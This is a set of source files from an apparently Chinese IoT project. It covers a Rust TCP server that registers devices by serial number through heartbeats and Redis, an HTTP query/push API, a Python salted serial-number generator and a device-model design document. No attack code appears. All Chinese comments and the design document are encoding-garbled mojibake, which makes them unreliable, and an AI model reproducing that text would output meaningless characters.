/// let mut dsp = device::DevicePool::new();
/// let sn = String::from("12/132436");
/// dsp.put_device(sn.clone(), device::Device::new(sn.clone()));
/// ```
pub struct DevicePool {
devices: HashMap<String, Arc<RwLock<Device>>>,
}
impl DevicePool {
/// Create a DevicePool instance.
pub fn new() -> DevicePool {
DevicePool {
devices: HashMap::new(),
}
}
/// Get the number of total device in the DevicePool
pub fn get_devices_num(&self) -> usize {
self.devices.len().into()
}
/// Get the number of alive device in the DevicePool
pub fn get_alive_devices_num(&self) -> usize {
let mut alive_cnt: usize = 0;
for (_k, v) in self.devices.iter() {
alive_cnt = if v.read().unwrap().is_alive {
alive_cnt + 1
} else {
alive_cnt
}
}
alive_cnt
}
/// Query a device whether alive by sn
pub fn is_alive(&mut self, sn: &String) -> bool {
match self.get_device_ref(sn) {
Some(d) => d.read().unwrap().is_alive(),
_ => false,
}
}
/// Query a device in the pool
pub fn is_in_pool(&self, sn: &String) -> bool {
self.devices.contains_key(sn)
}
/// Get the reference of device specified by sn
pub fn get_device_ref(&mut self, sn: &String) -> Option<Arc<RwLock<Device>>> {
if self.get_devices_num() == 0 {
None
} else {
if let Some(d) = self.devices.get_mut(sn) {
Some(d.deref().clone())
} else {
None
}
}
}
/// Put a device with sn to the DevicePool
pub fn put_device(&mut self, sn: String, device: Arc<RwLock<Device>>) {
self.devices.insert(sn, device);
}
}
```
generate-salt-sn.py
```import hashlib
import string
import time
def md5(s: str, encode="utf-8") -> str:
md = hashlib.md5()
md.update(s.encode(encode))
return md.hexdigest()
def salted_sn(raw_sn: str, salt='anbwscx') -> str:
salted = md5(raw_sn + salt)
return (raw_sn + salted[-3:]).upper()
def generate_date_mark(year, month, day):
year_mark = {2020+year: mark for year,
mark in enumerate(string.ascii_uppercase)}
month_mark = {i: hex(i)[2:].upper() for i in range(1, 13)}
day_mark = {day+1: mark for day, mark in enumerate(
''.join([str(i) for i in range(1, 10)]) + string.ascii_uppercase)}
return year_mark[year] + month_mark[month] + day_mark[day]
def generate_s(product_id, year, month, day, serial_start, serial_end, title, f):
if not title:
f.write(title+'\n')
for e in range(serial_start, serial_end+1):
raw_sn = product_id + generate_date_mark(year, month, day)
print(f'raw_sn {raw_sn}')
sn1_salted = salted_sn(raw_sn + f'{hex(e)[2:]:>04}')
print(sn1_salted, len(sn1_salted))
f.write(sn1_salted+'\n')
if __name__ == '__main__':
print('''
---------------------------------------
sn็ๆๅจ
[ๆณจๆ] ๆฅๆๆฒกๆๅคงๅฐๅนด๏ผๅคงๅฐๆๆ ก้ช
---------------------------------------
''')
year, month, day = int(input(" ่พๅ
ฅๅนด# ")), int(
input(" ่พๅ
ฅๆ# ")), int(input(" ่พๅ
ฅๆฅ# "))
assert 2020 <= year <= 2045, 'ๅนด้่ฏฏ'
assert 1 <= month <= 12, 'ๆ้่ฏฏ'
assert 1 <= day <= 31, 'ๆฅ้่ฏฏ(ๆฒกๆๅคงๅฐๆ๏ผๅนณๆถฆๆ ก้ช)'
serial_start = int(input(" ่พๅ
ฅๆตๆฐดๅท่ตทๅง็ผๅท# "))
serial_end = int(input(" ่พๅ
ฅๆตๆฐดๅทๆชๆญข็ผๅท# "))
print('''
---------------------------------------
ไธ่ทฏๆงๅถๅจ+ๆๅจๅผๅ
ณ+ไฟกๅท่พๅ
ฅ+ๅฎๆถๅ่ฝ: A0A
ไธ่ทฏๆงๅถๅจ+ๆๅจๅผๅ
ณ+ไฟกๅท่พๅ
ฅ+ๅฎๆถๅ่ฝ+ๆธฉๆนฟๅบฆ: A0B
ไธค่ทฏๆงๅถๅจ+2่ทฏๆๅจๅผๅ
ณ+ๅฎๆถๅ่ฝ: A1C
ไธค่ทฏๆงๅถๅจ+2่ทฏๆๅจๅผๅ
ณ+ไฟกๅท่พๅ
ฅ+ๅฎๆถๅ่ฝ+ๆธฉๆนฟๅบฆ: A1D
ๅ่ทฏๆงๅถๅจ+4่ทฏๆๅจๅผๅ
ณ+ๅฎๆถๅ่ฝ+ ๆธฉๆนฟๅบฆ+ไฟกๅท่พๅ
ฅ: A2E
---------------------------------------''')
product_id = input(" ่พๅ
ฅไบงๅID# ")
assert product_id in ['A0A', 'A0B', 'A1C', 'A1D', 'A2E'], '้่ฏฏ็ID'
csv = f'salted_sn-{time.time()}.csv'
with open(csv, 'w+') as f:
generate_s(product_id, year, month, day,
serial_start, serial_end, 'Controller', f)
print(f'''
-------------------------------------
่พๅบๅฐ{csv}
''')
```
connection.rs
```#[allow(dead_code)]
use log::{error, info, warn};
use tokio::{
io::BufReader,
io::BufWriter,
net::tcp::ReadHalf,
net::tcp::WriteHalf,
net::TcpListener,
net::TcpStream,
prelude::*,
runtime,
stream::StreamExt,
time::Duration,
time::timeout,
};
use tcp_err::ServerError;
use crate::common::config::PerceptionServiceConfig as PerceptCfg;
use crate::common::config::RedisConfig as RedisCfg;
use crate::middleware_wrapper::json_wrapper::{
is_heartbeat,
MESTYPE,
parse_msg_type,
};
use crate::perception_service::map2redis;
use super::device;
//use std::net::Shutdown;
#[allow(non_camel_case_types)]
mod tcp_err {
#[derive(Debug)]
pub enum ServerError {
Broken,
INVALID_DATA,
}
}
async fn readline<'a>(stream: &'a mut BufReader<ReadHalf<'_>>) -> Result<String, ServerError> {
let mut line = String::new();
match stream.read_line(&mut line).await {
Ok(n) => {
if n > 0 {
Ok(line)
} else {
Err(ServerError::Broken)
}
}
Err(e) => {
warn!("connection error: {}", e);
Err(ServerError::Broken)
}
}
}
fn check_sn(sn: &str) -> bool {
match sn.len() {
13 => {
true
}
_ => {
false
}
}
}
/// ๆกๆๆๅ่ฟๅsn
async fn handshake<'a>(reader: &'a mut BufReader<ReadHalf<'_>>) -> Result<String, ()> {
let pinsn: String;
for _ in 0..4 {
if let Ok(msg) = readline(reader).await {
if let Some(sn) = is_heartbeat(&msg) {
info!("sn {}", sn);
pinsn = sn.clone().trim().to_string();
if check_sn(&pinsn) {
return Ok(pinsn);
} else {
error!("invalid sn {}", pinsn);
return Err(());
}
}
}
tokio::time::delay_for(Duration::from_millis(100)).await;
}
error!("handshake failed");
Err(())
}
async fn writeline<'a>(
stream: &'a mut BufWriter<WriteHalf<'_>>,
line: String,
) -> Result<usize, ServerError> {
let mut byte_line: Vec<u8> = line.trim().as_bytes().to_vec();
if byte_line.len() == 0 {
return Err(ServerError::INVALID_DATA);
}
byte_line.push('\n' as u8);
match stream.write_all(&mut byte_line).await {
Ok(_) => {
if stream.flush().await.is_err() {
warn!("flush with writeline tcp fail")
}
info!("write msg -> {:?}", line);
Ok(byte_line.len())
}
Err(_) => {
info!("write broken");
Err(ServerError::Broken)
}
}
}
async fn echo_pong<'a>(stream: &'a mut BufWriter<WriteHalf<'_>>) -> Result<usize, ServerError> {
let pong_msg = "{\"type\":\"pong\"}".to_string();
writeline(stream, pong_msg).await
}
/// ่ฟๆฅๅค็Handler
async fn handler(mut stream: TcpStream, hb_interval: u64, redis_cfg: RedisCfg) {
let (stream_read, stream_write) = stream.split();
let mut stream_reader: BufReader<ReadHalf<'_>> = BufReader::new(stream_read);
let mut stream_writer: BufWriter<WriteHalf<'_>> = BufWriter::new(stream_write);
// ็ญๅพ
ๆฐ่ฟๆฅ40sไธๆฅsnไฟกๆฏ๏ผ่ถ
ๆถ้ๅบ(40sๆฅ่ชๅนถๅๆต่ฏ๏ผๅฝ็ฌ้ดๅ่ตทๅคง้่ฟๆฅๆถ๏ผไปosๅฑ้ขๆ ๆณๅๆถๅฐ่ฟไบๆฐๆฎไธๆฅๅฐๅบ็จๅฑ)
let sn = if let Ok(Ok(v)) = timeout(Duration::from_millis(40000), handshake(&mut stream_reader)).await {
if let Ok(_) = echo_pong(&mut stream_writer).await {
info!("handshake ok, from device(sn {})", v);
v
} else {
error!("echo pong msg failed");
return;
}
} else {
error!("invalid sn connection");
return;
};
// ๅๅปบ่ฎพๅค
let mut dev = device::Device::new(sn.clone());
dev.set_heartbeat_period(Duration::from_secs(hb_interval));
// ๅๅปบๆ ๅฐๅฐredis็่ฎพๅค
let mut dev2redis: map2redis::Device2redis;
if let (Some(ip), Some(port)) = (&redis_cfg.ip, &redis_cfg.port) {
if let Ok(v) = map2redis::Device2redis::new(dev, ip, port).await {
dev2redis = v;
} else {
error!("create dev2redis instance fail, redis is running ?");
return;
}
} else {
error!("have no redis config info");
return;
}
// ๆฟๆดป่ฎพๅค๏ผๅ
ๆฌๅredisๆทปๅ ่ฎพๅคไธ็บฟไฟกๆฏ
info!("device: {:?}", dev2redis.dev.sn);
if !dev2redis.activate().await {
error!("activated device({}) fail", dev2redis.dev.sn);
if !dev2redis.deactivate().await {
error!("deactivated device({}) fail", dev2redis.dev.sn);
}
return;
}
// ๅพช็ฏๅค็่ฎพๅคๆถๆฏ
loop {
tokio::select! {
read_up = readline(&mut stream_reader) => {
if let Ok(msg) = read_up {
dev2redis.update_online_status().await; // ๆถๅฐๆถๆฏ๏ผๅฐฑๆดๆฐredisไธญๅจ็บฟ็ถๆ
dev2redis.dev.update_last_heartbeat_time_now(); // ๆถๅฐๆถๆฏ๏ผๅฐฑๆดๆฐๆฌๅฐๅฟ่ทณ่ถ
ๆถ่ฎกๆถ
match parse_msg_type(&msg) {
MESTYPE::HEARTBEAT => {
if echo_pong(&mut stream_writer).await.is_err() {
warn!("pong to heartbeat failed: dev {}, msg {}", dev2redis.dev.sn, msg);
}
}
MESTYPE::RAWDATA => {
info!("push event: {:?}", &msg);
if dev2redis.notify_event(&msg).await.is_err() {
warn!("push event failed: dev {}, msg {}", dev2redis.dev.sn, msg);
}
}
MESTYPE::ACK => {
info!("ack type {}", &msg);
if dev2redis.write_uplink(&msg).await.is_err() {
warn!("write uplink stream failed: dev {}, msg {}", dev2redis.dev.sn, msg);
}
}
MESTYPE::INVALID => {
warn!("invalid data: dev {}", dev2redis.dev.sn);
}
}
}
}
result = dev2redis.readline_downlink() => {
if let Ok(msg) = result {
info!("down link msg: {:?}", msg);
if let Ok(_) = writeline(&mut stream_writer, msg.clone()).await {
info!("send ok: {}", msg);
} else {
warn!("send failed")
}
}
}
}
// ๅคๆญๆฏๅฆ่ฟๆ, ่ฟๆๅ่ฎพๅค็ฆป็บฟ
if !dev2redis.dev.is_alive_update() {
dev2redis.deactivate().await;
return;
}
tokio::time::delay_for(Duration::from_millis(100)).await;
}
}
/// ็ๅฌ็ซฏๅฃ๏ผๆดพๅ่ฟๆฅ
fn coroutines_start(ip: String, port: String, hb_interval: u64, redis_cfg: RedisCfg) -> Result<(), Box<dyn std::error::Error>> {
// ๅๅปบ่ฐๅบฆๅจ
let mut rt = runtime::Builder::new()
.threaded_scheduler()
.enable_all()
.build()?;
let addr = format!("{}:{}", ip, port);
rt.block_on(async move {
let mut listener = match TcpListener::bind(&addr).await {
Ok(listener) => listener,
Err(e) => {
panic!("open port error: {}", e);
}
};
// Create listener.
info!("open the addr to listen {}", addr);
let mut incoming = listener.incoming();
// ็ๅฌ็ซฏๅฃ๏ผๆ่ฎธ็ฌฌไบ็งloopๆนๆณๆดๅฎน้?
//while let Some(stream) = incoming.next().await {
loop {
match incoming.next().await {
Some(Ok(stream)) => {
info!("coming a connection");
let redis_cfg_move = redis_cfg.clone();
tokio::spawn(async move {
handler(stream, hb_interval, redis_cfg_move).await;
});
}
e => error!("{:?}", e),
}
}
});
Ok(())
}
/// ๅฏๅจ่ฎพๅค่ฟๆฅๆๅก
pub fn start(perceptioncfg: PerceptCfg, rediscfg: RedisCfg) -> Result<(), ()> {
info!("{:?}", perceptioncfg);
println!("Device Connection Start with config {:?}", perceptioncfg);
let ip = perceptioncfg.ip.clone().unwrap();
let port = perceptioncfg.port.clone().unwrap();
// ๅฆๆๆฒกๆ้
็ฝฎๅฟ่ทณ๏ผ้ป่ฎค120s
let heartbeat_interval = perceptioncfg.heartbeat_interval.unwrap_or(120);
match coroutines_start(ip, port, heartbeat_interval, rediscfg) {
Ok(()) => {
info!("start perception service success");
Ok(())
}
Err(_) => {
panic!("start perception service failed")
}
}
}```
Config.py
```# -*- coding: utf-8 -*-
REDIS_ADDR = '127.0.0.1'
REDIS_PORT = 6379
PING_PERIOD = 60
WEB_ADDR = '0.0.0.0'
WEB_PORT = 10000
```
device.rs
```use std::time::{
Duration,
SystemTime,
SystemTimeError,
};
#[allow(unused_imports)]
use log::{
error,
info,
};
#[allow(unused_imports)]
use tokio::{
net::TcpStream
};
pub struct Device {
pub sn: String,
pub stream: Option<TcpStream>,
born_time: SystemTime,
alive: bool,
last_heartbeat_time: SystemTime,
heartbeat_period: Duration,
}
#[allow(dead_code)]
impl Device {
pub fn new(sn: String) -> Device {
let device = Device {
sn,
stream: None,
born_time: SystemTime::now(),
alive: true,
last_heartbeat_time: SystemTime::now(),
heartbeat_period: Duration::from_secs(90),
};
device
}
pub fn set_heartbeat_period(&mut self, period: Duration) {
info!("set device({}) heartbeat period to {:?}", self.sn, period);
self.heartbeat_period = period;
}
// ๆดๆฐๆๅๅฟ่ทณๆถ้ด
pub fn update_last_heartbeat_time(&mut self, time: SystemTime) {
self.last_heartbeat_time = time;
}
// ็จๅฝๅnowๆถ้ดๆดๆฐๆๅๅฟ่ทณๆถ้ด
pub fn update_last_heartbeat_time_now(&mut self) {
self.update_last_heartbeat_time(SystemTime::now());
}
// the up-to-date at calling, then update the device state.
// So, You might get a different value for each call
pub fn is_alive_update(&mut self) -> bool {
self.alive = if let Ok(elapsed) = self.last_heartbeat_time.elapsed() {
elapsed < self.heartbeat_period
} else {
self.alive
};
self.alive
}
pub fn is_alive_const(&self) -> bool {
self.alive
}
pub fn online_time(&self) -> Result<Duration, SystemTimeError> {
self.born_time.elapsed()
}
}
#[cfg(test)]
mod device_test {
use std::thread;
use tokio::time::Duration;
use crate::perception_service::device::Device;
#[test]
fn test_is_alive_update() {
let mut device = Device::new("D81234545".to_string());
device.set_heartbeat_period(Duration::from_secs(3));
thread::sleep(Duration::from_secs(2));
assert_eq!(true, device.is_alive_update());
thread::sleep(Duration::from_secs(2));
assert_eq!(false, device.is_alive_update());
}
#[test]
fn test_online_time() {
let device = Device::new("D81234545".to_string());
thread::sleep(Duration::from_secs(2));
assert_eq!(true,
device.online_time().unwrap() < Duration::from_millis(2050)
&& device.online_time().unwrap() > Duration::from_millis(1950));
}
}```
MsgField.py
```HEARTBEAT = {
'type': "ping",
'sn': None
}
```
config.rs
```//!
//! # ๅ ่ฝฝ้
็ฝฎ้กน
//!
//! Example
//! ```
//! use common::config;
//!
//! fn main() -> Result<(), ()>{
//! // ๅ ่ฝฝcfg.tomlๅ
ๆๆ้
็ฝฎ
//! let config: config::Config = config::load_config("cfg.toml", true);
//! println!("{:?}", config.log); // ๆๅฐlog้
็ฝฎ
//! println!("{:?}", config.perception_service); // ๆๅฐๆ็ฅๅฑ้
็ฝฎ
//! println!("{:?}", config.application_service); // ๆๅฐๅบ็จๅฑ้
็ฝฎ
//! Ok(())
//! }
//! ```
//!
use std::env;
use std::fs::File;
use std::io::Read;
use loge;
use serde_derive::Deserialize;
use toml;
#[derive(Deserialize)]
#[derive(Debug)]
#[derive(Clone)]
pub struct LogConfig {
pub level: Option<String>,
pub outfile: Option<String>,
pub format: Option<String>,
}
#[derive(Deserialize)]
#[derive(Debug)]
#[derive(Clone)]
pub struct PerceptionServiceConfig {
pub ip: Option<String>,
pub port: Option<String>,
pub heartbeat_interval: Option<u64>,
}
#[derive(Deserialize)]
#[derive(Debug)]
#[derive(Clone)]
pub struct RedisConfig {
pub ip: Option<String>,
pub port: Option<String>,
}
#[derive(Deserialize)]
#[derive(Debug)]
#[derive(Clone)]
pub struct Config {
pub log: LogConfig,
pub perception_service: PerceptionServiceConfig,
pub redis: RedisConfig,
}
/// Init to the logger
#[allow(dead_code)]
pub fn log_init(log_cfg: LogConfig) {
let level: Option<String> = log_cfg.level;
let outfile: Option<String> = log_cfg.outfile;
let format: Option<String> = log_cfg.format;
match &level {
Some(le) if le == &"none".to_string() => {
return;
}
_ => {
if let Some(le) = level {
env::set_var("RUST_LOG", le);
} else {
env::set_var("RUST_LOG", "trace");
}
if let Some(fmt) = format {
env::set_var("LOGE_FORMAT", fmt);
} else {
env::set_var("LOGE_FORMAT", "fileline");
}
if let Some(f) = outfile {
loge::init_with_file(f);
}
}
}
}
#[allow(dead_code)]
pub fn load_config(toml_path: &str, verbose: bool) -> Config {
let mut file = File::open(toml_path).unwrap();
let mut file_content = String::new();
if let Err(_) = file.read_to_string(&mut file_content) {
panic!("read config error")
}
let config: Config = match toml::from_str(&file_content) {
Ok(c) => c,
_ => {
panic!("parse config toml error");
}
};
if verbose {
println!("============== loading config =============");
println!("[log]: \n\tlevel = {:?}\n\toutfile = {:?}\n\tformat = {:?}", if let Some(e) = &config.log.level {
e.clone()
} else {
"Null".to_string()
}, if let Some(e) = &config.log.outfile {
e.clone()
} else {
"Null".to_string()
}, if let Some(e) = &config.log.format {
e.clone()
} else {
"Null".to_string()
});
println!("[perception connection]: \n\tip = {:?}\n\tport = {:?}\n\theartbeat_interval = {:?}", if let Some(e) = &config.perception_service.ip {
e.clone()
} else {
"Null".to_string()
}, if let Some(e) = &config.perception_service.port {
e.clone()
} else {
"Null".to_string()
}, if let Some(e) = &config.perception_service.heartbeat_interval {
format!("{}", &e)
} else {
"Null".to_string()
});
println!("[redis]: \n\tip = {:?}\n\tport = {:?}", if let Some(e) = &config.redis.ip {
e.clone()
} else {
"Null".to_string()
}, if let Some(e) = &config.redis.port {
e.clone()
} else {
"Null".to_string()
});
println!("===========================================");
}
config
}```
README.md
```### TODO
- [ ] redis็get้็จๅผๆญฅ้ปๅกๅผ๏ผ่ฟๆ ทๅฏไปฅไธๅฟ
่ฝฎ่ฏข๏ผredis 5.0ไปฅๅๅฅฝๅๆxreadๅฏไปฅๅฏนๆญคๆไพๆฏๆ
```
main.rs
```use actix_web::{
App,
Error,
error,
get,
HttpResponse,
//HttpRequest,
HttpServer,
post,
//Responder,
web,
web::BytesMut};
use futures::StreamExt;
#[allow(unused_imports)]
use log::{error, info, warn};
use serde_json::json;
use crate::common::config;
use crate::middleware::{
json_warpper as jw,
query_redis as qr,
};
#[get("/query/service_version")]
async fn query_service_version() -> Result<HttpResponse, Error> {
let resp = json!({
"namespace": "/query/http_service_version",
"value": "v1.2.0-20201109a",
});
Ok(HttpResponse::Ok().body(resp))
}
#[get("/query/devices_num")]
async fn query_devices_num() -> Result<HttpResponse, Error> {
let rv = qr::get_devices_num().await;
let resp = if let Ok(e) = rv {
json!({
"namespace": "/query/devices_num".to_string(),
"status": "200",
"value": format!("{}", e.unwrap_or("none".to_string()))
})
} else {
json!({
"namespace": "/query/devices_num".to_string(),
"status": "404",
"error": "no value"
})
};
Ok(HttpResponse::Ok().body(resp))
}
#[get("/query/devices_alive_num")]
async fn query_devices_alive_num() -> Result<HttpResponse, Error> {
let rv = qr::get_alive_devices_num().await;
let resp = if let Ok(e) = rv {
json!({
"namespace": "/query/device_alive_num".to_string(),
"status": "200",
"value": format!("{}", e.unwrap_or("none".to_string()))
})
} else {
json!({
"namespace": "/query/device_alive_num".to_string(),
"status": "404",
"error": "no value"
})
};
Ok(HttpResponse::Ok().body(resp))
}
#[get("/query/device_is_alive/{sn}")]
async fn query_device_is_alive(
info: web::Path<String>,
) -> Result<HttpResponse, Error> {
let sn = info.to_string();
let resp = if qr::sn_is_alive(&sn).await {
json!({
"namespace": "/query/device_is_alive".to_string(),
"status": "200",
"sn": sn,
"value": "online"
})
} else {
json!({
"namespace": "/query/device_is_alive".to_string(),
"status": "200",
"sn": sn,
"value": "offline"
})
};
Ok(HttpResponse::Ok().body(resp))
}
const MAX_SIZE: usize = 262_144;
#[post("/push/push_msg")]
async fn push_get(
mut payload: web::Payload,
) -> Result<HttpResponse, Error> {
// payload is a stream of Bytes objects
let mut body = BytesMut::new();
while let Some(chunk) = payload.next().await {
let chunk = chunk?;
// limit max size of in-memory payload
if (body.len() + chunk.len()) > MAX_SIZE {
return Err(error::ErrorBadRequest(json!({
"namespace": "/push/push_msg",
"status": "404",
"error": "overflow"
})));
}
body.extend_from_slice(&chunk);
}
match String::from_utf8(body.to_vec()) {
Ok(body_string) => {
let sn = if let Some(sn) = jw::parse_sn(&body_string) {
sn
} else {
warn!("invaild request, have no sn field");
return Err(error::ErrorBadRequest(json!({
"namespace": "/push/push_msg",
"status": "404",
"error": "have no sn field"
})));
};
info!("push get device({})", sn);
if qr::sn_is_alive(&sn).await == false {
return Err(error::ErrorBadRequest(json!({
"namespace": "/push/push_msg",
"status": "404",
"error": "device offline"
})));
}
match qr::transparent_transmit_wit_ack(&sn, &body_string).await {
Ok(Some(resp)) => {
let resp = json!({
"namespace": "/push/push_msg",
"status": "200",
"value": resp
});
return Ok(HttpResponse::Ok().body(resp));
}
Ok(None) => {
return Err(error::ErrorBadRequest(json!({
"namespace": "/push/push_msg",
"status": "404",
"error": "no response"
})));
}
Err(e) => {
return Err(error::ErrorBadRequest(json!({
"namespace": "/push/push_msg",
"status": "408",
"error": format!("send message fail {}", e)
})));
}
}
}
_ => {
return Err(error::ErrorBadRequest(json!({
"namespace": "/push/push_msg",
"error": "invalid data"
})));
}
}
}
#[actix_web::main]
pub async fn launch(httpconf: config::HttpServiceConfig, _redisconf: config::RedisConfig) -> std::io::Result<()> {
HttpServer::new(move || {
//let s = RedisSession::new("127.0.0.1:6379", &[0; 32]);
App::new()
//.data(redis_conn)
//.wrap(RedisSession::new("127.0.0.1:6379", &[0; 32]))
.service(query_service_version)
.service(query_devices_num)
.service(query_devices_alive_num)
.service(query_device_is_alive)
.service(push_get)
})
.bind(format!("{}:{}", httpconf.ip.unwrap_or("0.0.0.0".to_string()),
httpconf.port.unwrap_or("8000".to_string())))?
.run()
.await
}```
่ฎพๅคๆฝ่ฑกๆจกๅ.md
```# ่ฎพๅคๆฝ่ฑกๆจกๅ
| Version | Date | Editor | Note |
| :-----| ----: | :----: |:----: |
| v0.0.5 | 2020-05-28 | zhangte | ๅฎไน่ฎพๅคๆฝ่ฑกๆจกๅๅ็|
## TODO List:
- [x] SN็ๆ่งๅๅฎไน(ๅ
ๅซๅๅทๅUUID)๏ผ13ไฝ
- [ ] SKUID็ๆ่งๅๅฎไน
## ่ฎพๅค็ซฏๆ ่ฏ
#### ็ปๆ
1. SN(Serial Number),่ฎพๅคๅฏไธ็้ๆบๅบๅๅท๏ผ็ฑๆๅก็ซฏๆ นๆฎไธๅฎ่งๅ็ๆ๏ผSNๅฐไฝไธบCSoDๅ่ฎฎไธญ่ฎพๅคๅฏไธๆ ่ฏไฝฟ็จ
2. SKU(Stock Keeping Unit), ่ฎพๅคๅฏไธ็ๆๅฐๅบๅญๅๅ
ๅท๏ผไธSNไธไธๅฏนๅบ๏ผไฝๆฏๅ
ถ็ด่งไฟ็็ไบงๆฅๆใๆนๆฌก็ญไฟกๆฏ๏ผ็จไฝๅบๅญ็ฎก็
3. MAC, ๆจกๅ่ชๅธฆ
4. ๅๅท, ่กจๆ่ฎพๅคๅๅท
## ่ฎพๅค็ซฏ่ฝๅๆฝ่ฑกไธๅฏปๅ
่่ๅฐไธๅๅๅท็่ฎพๅค็ซฏๅ
ทๆไธๅๆจก็ป็ปๆ็ไธๅ็ซฏ่ฝๅ๏ผๅนถไธๆๅก็ซฏ้่ฆๅฏนไธๅ็ๆจก็ปๅฎๆๅ็กฎ็ๆงๅถ๏ผๆไปฌๆ็
ง **"็ซฏๅๅ
"**๏ผunit๏ผๆฅๆ่ฟฐ่ฎพๅค่ฝๅ
1. ๆฏไธชๆๅฐไธๅฏๅๅ่ฝไฝไธบไธไธชๅๅ
๏ผๅฆไธไธชๅผๅ
ณ๏ผไธไธชๆธฉๅบฆๆจกๅ๏ผไธไธชๆนฟๅบฆๆจกๅ๏ผไธไธชๆพ็คบๅฑ
2. ๆฏไธช็ซฏๅๅ
้ฝๆๅฏไธ็ๅฐๅ๏ผ็ซฏๅๅ
ๅฐๅๅ
ฑ3ไฝ๏ผไปฅๅๅ
ญ่ฟๅถๅญ็ฌฆไธฒ่กจ็คบ๏ผๅ2ไฝ่กจ็คบๅๅ
็ฑปๅ๏ผๅ1ไฝ่กจ็คบๅๅ
id, ๆฏไธชๅๅ
ๅฐๅๅฏนๅบไธไธช็ถๆ`status`
็ฎๅๅฎไน็ซฏๅๅ
ๅๅ
ถ`status`ๅฆไธ:
```
ๅผๅ
ณ: "01${id}", ๅฏนๅบstatus: {1byte}, ๅ
ณ: 00, ๅผ: 01
ๆธฉๅบฆ: "02${id}", ๅฏนๅบstatus: {1byte}{1bytes}{1bytes} ็ฌฌ1ไฝ็ฌฆๅท๏ผไธญ้ด1ไฝๆดๆฐ้จๅ๏ผๅ1ไฝๅฐๆฐ้จๅ
ๆนฟๅบฆ: "03${id}", ๅฏนๅบstatus: {1byte}{1bytes}{1bytes} ็ฌฌ1ไฝ็ฌฆๅท๏ผไธญ้ด1ไฝๆดๆฐ้จๅ๏ผๅ1ไฝๅฐๆฐไฟ็2ไฝ้จๅ(ๆๅคง0x63)
ๅผๅ
ณๅฎๆถๅจ:"04${id}", ๅฏนๅบstatus: {"date":"y-m-d:h-m-s", "target":"${ๅผๅ
ณ็ถๆ}"}
ๅปถๆถๅผๅ
ณ: "05${id}", ๅฏนๅบstatus: {"delay":${time}, "target": "${ๅผๅ
ณ็ถๆ}"},ๅปถๆถๅไฝไธบ็ง
```
ไพๅฆ็ปๅCSoDๅ่ฎฎeventๆถๆฏ๏ผ
```json
่ฎพๅคไธๆฅ็ถๆ๏ผๅจ`sn`ไธบ`123543876`็่ฎพๅคไธ๏ผ`0`ๅทๅผๅ
ณ็ถๆไธบ`ๅผ`๏ผ`2`ๅทๆธฉๅบฆ่ฎกๆธฉๅบฆไธบ`+10.10โ`
{
"v":"0",
"type": "event",
"sn": "123543876",
"010": "01",
"022": "000a0a",
}
```
```json
APP่ฎพ็ฝฎๅฎๆถๅผๅ
ณ๏ผๅจ`sn`ไธบ`123543876`็่ฎพๅคไธ๏ผๅฎๆถๅจ2020-11-12:12-30-00, `0`ๅทๅผๅ
ณ็ถๆไธบ`ๅผ`
{
"v":"0",
"type": "set",
"sn": "123543876",
"040": {
"date": "2020-11-12:12-30-00",
"target": "01"
},
}
่ฎพ็ฝฎๆๅๅๅค
{
"v":"0",
"type": "setack",
"sn": "123543876",
}
```
```json
APPๅปถๆถๅผๅ
ณ๏ผๅจ`sn`ไธบ`123543876`็่ฎพๅคไธ๏ผ100sๅ, ่ฎพ็ฝฎ`0`ๅทๅผๅ
ณ็ถๆไธบ`ๅผ`
{
"v":"0",
"type": "set",
"sn": "123543876",
"050": {
"delay": "100",
"target": "01"
},
}
่ฎพ็ฝฎๆๅๅๅค
{
"v":"0",
"type": "setack",
"sn": "123543876",
}
```
```
json_wrapper.rs
```#![allow(dead_code)]
//use log::{error, info, warn};
use serde_json;
use serde_json::Value;
#[derive(Debug, PartialEq)]
pub enum MESTYPE {
HEARTBEAT,
ACK,
RAWDATA,
// ็ฎๅๅชๅ
ๆฌeventๆถๆฏ
INVALID,
}
/// If the msg is a heartbeat ping type, return the sn
///
/// # Examples
/// ```
/// let ok_str = r#"{"type": "ping","sn": "123"}"#;
/// assert_eq!(carte::is_heartbeat(&ok_str.to_string()), Some("123".to_string()));
/// let err_str = r#"{"type": "ping","what": "error"}"#;
/// assert_ne!(carte::is_heartbeat(&err_str.to_string()), Some("123".to_string()));
/// ```
pub fn is_heartbeat(msg: &String) -> Option<String> {
let sn: Option<String> = if let Ok(data) = serde_json::from_str(msg) {
match data {
Value::Object(t) => {
let msg_type: Option<String> = if t.contains_key("type") {
match t.get("type") {
Some(Value::String(v)) => Some(v.to_string()),
_ => None,
}
} else {
None
};
match msg_type {
Some(s) if s == "ping" => {
if t.contains_key("sn") {
match t.get("sn") {
Some(Value::String(v)) => Some(v.to_string()),
_ => None,
}
} else {
None
}
}
_ => None,
}
}
_ => None,
}
} else {
None
};
sn
}
#[test]
fn is_heartbeat_test() {
let ok_str = r#"{"type": "ping","sn": "123"}"#;
assert_eq!(is_heartbeat(&ok_str.to_string()), Some("123".to_string()));
let err_str = r#"{"type": "ping","what": "error"}"#;
assert_ne!(is_heartbeat(&err_str.to_string()), Some("123".to_string()));
}
pub fn parse_sn(msg: &String) -> Option<String> {
let sn: Option<String> = if let Ok(data) = serde_json::from_str(msg) {
match data {
Value::Object(t) => {
if t.contains_key("sn") {
match t.get("sn") {
Some(Value::String(v)) => Some(v.to_string()),
_ => None,
}
} else {
None
}
}
_ => None,
}
} else {
None
};
sn
}
#[test]
fn parse_sn_test() {
let ok_ping = r#"{"type": "ping","sn": "123"}"#;
assert_eq!(parse_sn(&ok_ping.to_string()), Some("123".to_string()));
let ok_rawdata = r#"{"type": "rawdata","sn": "145623"}"#;
assert_eq!(
parse_sn(&ok_rawdata.to_string()),
Some("145623".to_string())
);
let err0_sn = r#"{"type": "rawdata","snfuck": "145623"}"#;
assert_eq!(parse_sn(&err0_sn.to_string()), None);
let err1_sn = r#"{"what": "error"}"#;
assert_eq!(parse_sn(&err1_sn.to_string()), None);
let err2_sn = r#"{"what": "err"#;
assert_eq!(parse_sn(&err2_sn.to_string()), None);
}
///
/// When the msg is a valid json and include the `type` field,
/// but not the heartbeat type, it is a raw data.
/// ๅช่ฆๅ
ๅซtypeไธsn๏ผๅฐฑๆฏrawdata๏ผacktypeไธheartbeat็ฑปๅๆฏrawdata็ๅญ้
pub fn is_rawdata(msg: &String) -> bool {
if let Ok(data) = serde_json::from_str(msg) {
match data {
Value::Object(t) => {
if t.contains_key("type") && t.contains_key("sn") {
true
} else {
false
}
}
_ => false,
}
} else {
false
}
}
/// ๅคๆญๆฏไธๆฏack๏ผ get ack, set ack
pub fn is_ack(msg: &str) -> Option<String> {
